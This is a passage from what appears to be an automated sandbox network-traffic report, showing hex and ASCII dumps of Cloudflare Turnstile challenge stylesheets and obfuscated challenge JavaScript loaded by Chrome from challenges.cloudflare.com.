2025-01-13 20:17:24 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2025-01-13 20:17:24 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2025-01-13 20:17:24 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2025-01-13 20:17:24 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2025-01-13 20:17:24 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2025-01-13 20:17:24 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2025-01-13 20:17:24 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2025-01-13 20:17:24 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	62505	104.18.94.41	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:25 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901811ce6a59f797&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0jlnl/0x4AAAAAAA4pKB1cuuqOF-N1/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:25 UTC	331	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:17:25 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 111961 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 901811d4ab9518cc-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:17:25 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"http
2025-01-13 20:17:25 UTC	1369	IN	Data Raw: 6c 79 25 32 30 63 61 63 68 65 64 25 32 30 62 79 25 32 30 61 6e 25 32 30 69 6e 74 65 72 6d 65 64 69 61 72 79 25 32 30 61 6e 64 25 32 30 69 73 25 32 30 6e 6f 25 32 30 6c 6f 6e 67 65 72 25 32 30 61 76 61 69 6c 61 62 6c 65 22 2c 22 6f 75 74 64 61 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 70 64 61 74 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 32 30 76 69 65 77 25 32 30 74 68 69 73 25 32 30 73 69 74 65 25 32 30 70 72 6f 70 65 72 6c 79 2e 25 33 43 62 72 25 32 46 25 33 45 25 33 43 61 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 32 30 72 65 6c 25 33 44 25 32 32 6e 6f 6f 70 65 6e 65 Data Ascii: ly%20cached%20by%20an%20intermediary%20and%20is%20no%20longer%20available","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopene
2025-01-13 20:17:25 UTC	1369	IN	Data Raw: 2c 66 59 2c 67 61 2c 67 67 2c 67 68 2c 67 69 2c 67 73 2c 67 44 2c 67 48 2c 66 35 2c 66 36 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 36 30 33 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 39 35 33 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 33 36 35 29 29 2f 33 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 39 37 29 29 2f 34 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 31 33 29 29 2f 35 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 33 31 30 29 29 2f 36 2b 70 61 72 73 65 49 6e 74 28 67 49 28 33 38 33 29 29 2f 37 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 Data Ascii: ,fY,ga,gg,gh,gi,gs,gD,gH,f5,f6){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(603))/1(parseInt(gI(953))/2)+-parseInt(gI(365))/3+parseInt(gI(1497))/4(-parseInt(gI(1313))/5)+parseInt(gI(310))/6+parseInt(gI(383))/7*(-parseInt(gI(
2025-01-13 20:17:25 UTC	1369	IN	Data Raw: 29 5d 28 48 2c 27 2a 27 29 29 3a 73 28 69 2b 44 2c 45 29 2c 43 2b 2b 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e 20 73 28 47 2c 48 2c 67 4f 29 7b 67 4f 3d 67 4e 2c 4f 62 6a 65 63 74 5b 67 4f 28 37 38 30 29 5d 5b 67 4f 28 34 34 31 29 5d 5b 67 4f 28 39 31 32 29 5d 28 6a 2c 48 29 7c 7c 28 6a 5b 48 5d 3d 5b 5d 29 2c 6a 5b 48 5d 5b 67 4f 28 36 38 35 29 5d 28 47 29 7d 7d 2c 65 54 3d 67 4a 28 34 36 30 29 5b 67 4a 28 31 32 31 30 29 5d 28 27 3b 27 29 2c 65 55 3d 65 54 5b 67 4a 28 32 36 36 29 5d 5b 67 4a 28 33 34 37 29 5d 28 65 54 29 2c 65 4d 5b 67 4a 28 31 31 35 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 2c 67 51 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 29 7b 66 6f 72 28 67 51 3d 67 4a 2c 6a 3d 7b 7d 2c 6a 5b 67 51 28 36 34 39 29 5d 3d 66 75 6e 63 74 Data Ascii: )](H,'*')):s(i+D,E),C++);return j;function s(G,H,gO){gO=gN,Object[gO(780)][gO(441)][gO(912)](j,H)\|\|(j[H]=[]),j[H][gO(685)](G)}},eT=gJ(460)[gJ(1210)](';'),eU=eT[gJ(266)][gJ(347)](eT),eM[gJ(1154)]=function(h,i,gQ,j,k,l,m,n,o){for(gQ=gJ,j={},j[gQ(649)]=funct
2025-01-13 20:17:25 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 44 47 4b 4a 74 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 51 59 74 79 71 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 6a 75 74 41 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 3d 69 7d 2c 27 64 62 55 63 53 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 57 76 46 62 74 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 55 44 65 79 65 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 68 53 50 55 62 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 Data Ascii: nction(h,i){return h-i},'DGKJt':function(h,i){return h==i},'QYtyq':function(h,i){return i==h},'jutAN':function(h,i){return h===i},'dbUcS':function(h,i){return h>i},'WvFbt':function(h,i){return h>i},'UDeye':function(h,i){return h\|i},'hSPUb':function(h,i){r
2025-01-13 20:17:25 UTC	1369	IN	Data Raw: 5b 69 32 28 39 31 32 29 5d 28 44 2c 4e 29 7c 7c 28 44 5b 4e 5d 3d 48 2b 2b 2c 45 5b 4e 5d 3d 21 30 29 2c 4f 3d 46 2b 4e 2c 4f 62 6a 65 63 74 5b 69 32 28 37 38 30 29 5d 5b 69 32 28 34 34 31 29 5d 5b 69 32 28 39 31 32 29 5d 28 44 2c 4f 29 29 46 3d 4f 3b 65 6c 73 65 7b 69 66 28 4f 62 6a 65 63 74 5b 69 32 28 37 38 30 29 5d 5b 69 32 28 34 34 31 29 5d 5b 69 32 28 39 31 32 29 5d 28 45 2c 46 29 29 7b 69 66 28 32 35 36 3e 46 5b 69 32 28 37 35 33 29 5d 28 30 29 29 7b 66 6f 72 28 43 3d 30 3b 43 3c 49 3b 4b 3c 3c 3d 31 2c 64 5b 69 32 28 33 38 34 29 5d 28 4c 2c 6f 2d 31 29 3f 28 4c 3d 30 2c 4a 5b 69 32 28 36 38 35 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 43 2b 2b 29 3b 66 6f 72 28 50 3d 46 5b 69 32 28 37 35 33 29 5d 28 30 29 2c 43 3d 30 3b 38 3e 43 3b 4b Data Ascii: [i2(912)](D,N)\|\|(D[N]=H++,E[N]=!0),O=F+N,Object[i2(780)][i2(441)][i2(912)](D,O))F=O;else{if(Object[i2(780)][i2(441)][i2(912)](E,F)){if(256>F[i2(753)](0)){for(C=0;C<I;K<<=1,d[i2(384)](L,o-1)?(L=0,J[i2(685)](s(K)),K=0):L++,C++);for(P=F[i2(753)](0),C=0;8>C;K
2025-01-13 20:17:25 UTC	1369	IN	Data Raw: 2c 47 3d 3d 30 26 26 28 47 3d 4d 61 74 68 5b 69 32 28 31 32 35 39 29 5d 28 32 2c 49 29 2c 49 2b 2b 29 2c 64 65 6c 65 74 65 20 45 5b 46 5d 7d 65 6c 73 65 20 50 5b 69 32 28 32 37 38 29 5d 28 42 5b 69 32 28 34 37 33 29 5d 29 7d 65 6c 73 65 20 66 6f 72 28 50 3d 44 5b 46 5d 2c 43 3d 30 3b 64 5b 69 32 28 31 35 37 32 29 5d 28 43 2c 49 29 3b 4b 3d 64 5b 69 32 28 31 35 32 36 29 5d 28 4b 2c 31 29 7c 50 26 31 2c 4c 3d 3d 64 5b 69 32 28 39 33 31 29 5d 28 6f 2c 31 29 3f 28 4c 3d 30 2c 4a 5b 69 32 28 36 38 35 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 50 3e 3e 3d 31 2c 43 2b 2b 29 3b 47 2d 2d 2c 30 3d 3d 47 26 26 49 2b 2b 7d 66 6f 72 28 50 3d 32 2c 43 3d 30 3b 43 3c 49 3b 4b 3d 64 5b 69 32 28 37 36 39 29 5d 28 4b 2c 31 29 7c 50 26 31 2c 6f 2d 31 3d 3d 4c 3f Data Ascii: ,G==0&&(G=Math[i2(1259)](2,I),I++),delete E[F]}else P[i2(278)](B[i2(473)])}else for(P=D[F],C=0;d[i2(1572)](C,I);K=d[i2(1526)](K,1)\|P&1,L==d[i2(931)](o,1)?(L=0,J[i2(685)](s(K)),K=0):L++,P>>=1,C++);G--,0==G&&I++}for(P=2,C=0;C<I;K=d[i2(769)](K,1)\|P&1,o-1==L?
2025-01-13 20:17:25 UTC	1369	IN	Data Raw: 31 29 5d 28 46 2c 4b 29 3b 4c 3d 47 26 48 2c 48 3e 3e 3d 31 2c 64 5b 69 35 28 31 34 37 39 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 28 64 5b 69 35 28 31 32 39 39 29 5d 28 30 2c 4c 29 3f 31 3a 30 29 2a 46 2c 46 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 4d 3d 4a 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 69 35 28 31 32 35 39 29 5d 28 32 2c 38 29 2c 46 3d 31 3b 64 5b 69 35 28 39 38 31 29 5d 28 46 2c 4b 29 3b 4c 3d 48 26 47 2c 48 3e 3e 3d 31 2c 64 5b 69 35 28 31 34 37 39 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 28 64 5b 69 35 28 31 35 37 32 29 5d 28 30 2c 4c 29 3f 31 3a 30 29 2a 46 2c 46 3c 3c 3d 31 29 3b 73 5b 42 2b 2b 5d 3d 65 28 4a 29 2c 4d 3d 42 2d 31 Data Ascii: 1)](F,K);L=G&H,H>>=1,d[i5(1479)](0,H)&&(H=j,G=o(I++)),J\|=(d[i5(1299)](0,L)?1:0)F,F<<=1);switch(M=J){case 0:for(J=0,K=Math[i5(1259)](2,8),F=1;d[i5(981)](F,K);L=H&G,H>>=1,d[i5(1479)](0,H)&&(H=j,G=o(I++)),J\|=(d[i5(1572)](0,L)?1:0)F,F<<=1);s[B++]=e(J),M=B-1
2025-01-13 20:17:25 UTC	1369	IN	Data Raw: 3d 65 4d 5b 69 36 28 39 33 37 29 5d 28 63 29 2c 69 3d 5b 5d 2c 67 3d 2d 31 3b 21 66 5b 69 36 28 34 31 33 29 5d 28 69 73 4e 61 4e 2c 6b 3d 63 5b 69 36 28 37 35 33 29 5d 28 2b 2b 67 29 29 3b 69 5b 69 36 28 36 38 35 29 5d 28 53 74 72 69 6e 67 5b 69 36 28 31 33 34 34 29 5d 28 66 5b 69 36 28 31 33 34 38 29 5d 28 66 5b 69 36 28 32 35 37 29 5d 28 6b 2c 32 35 35 29 2d 68 2d 67 25 36 35 35 33 35 2c 36 35 35 33 35 29 25 32 35 35 29 29 29 3b 72 65 74 75 72 6e 20 69 5b 69 36 28 34 36 39 29 5d 28 27 27 29 7d 2c 65 4d 5b 67 4a 28 31 32 38 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 69 38 2c 64 2c 65 2c 66 2c 67 29 7b 69 38 3d 67 4a 2c 64 3d 7b 7d 2c 64 5b 69 38 28 39 39 31 29 5d 3d 69 38 28 31 35 36 36 29 2c 64 5b 69 38 28 31 35 37 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 Data Ascii: =eM[i6(937)](c),i=[],g=-1;!f[i6(413)](isNaN,k=c[i6(753)](++g));i[i6(685)](String[i6(1344)](f[i6(1348)](f[i6(257)](k,255)-h-g%65535,65535)%255)));return i[i6(469)]('')},eM[gJ(1283)]=function(i8,d,e,f,g){i8=gJ,d={},d[i8(991)]=i8(1566),d[i8(1579)]=function(h
2025-01-13 20:17:25 UTC	1369	IN	Data Raw: 33 30 32 29 5d 5b 69 61 28 37 35 30 29 5d 2b 27 2f 27 3a 27 27 2c 6f 3d 6b 5b 69 61 28 31 34 33 30 29 5d 28 6b 5b 69 61 28 31 34 33 30 29 5d 28 6b 5b 69 61 28 31 34 33 30 29 5d 28 6b 5b 69 61 28 31 34 33 30 29 5d 28 69 61 28 35 38 37 29 2b 6e 2c 69 61 28 31 30 33 30 29 29 2b 31 2b 69 61 28 31 30 32 35 29 2b 65 4d 5b 69 61 28 33 30 32 29 5d 5b 69 61 28 31 33 36 30 29 5d 2c 27 2f 27 29 2b 65 4d 5b 69 61 28 33 30 32 29 5d 2e 63 48 2c 27 2f 27 29 2c 65 4d 5b 69 61 28 33 30 32 29 5d 5b 69 61 28 31 33 37 30 29 5d 29 2c 73 3d 7b 7d 2c 73 5b 69 61 28 33 30 35 29 5d 3d 65 4d 5b 69 61 28 33 30 32 29 5d 5b 69 61 28 33 30 35 29 5d 2c 73 5b 69 61 28 34 32 39 29 5d 3d 65 4d 5b 69 61 28 33 30 32 29 5d 5b 69 61 28 34 32 39 29 5d 2c 73 5b 69 61 28 31 35 38 31 29 5d 3d 65 Data Ascii: 302)][ia(750)]+'/':'',o=k[ia(1430)](k[ia(1430)](k[ia(1430)](k[ia(1430)](ia(587)+n,ia(1030))+1+ia(1025)+eM[ia(302)][ia(1360)],'/')+eM[ia(302)].cH,'/'),eM[ia(302)][ia(1370)]),s={},s[ia(305)]=eM[ia(302)][ia(305)],s[ia(429)]=eM[ia(302)][ia(429)],s[ia(1581)]=e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	62504	104.18.94.41	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

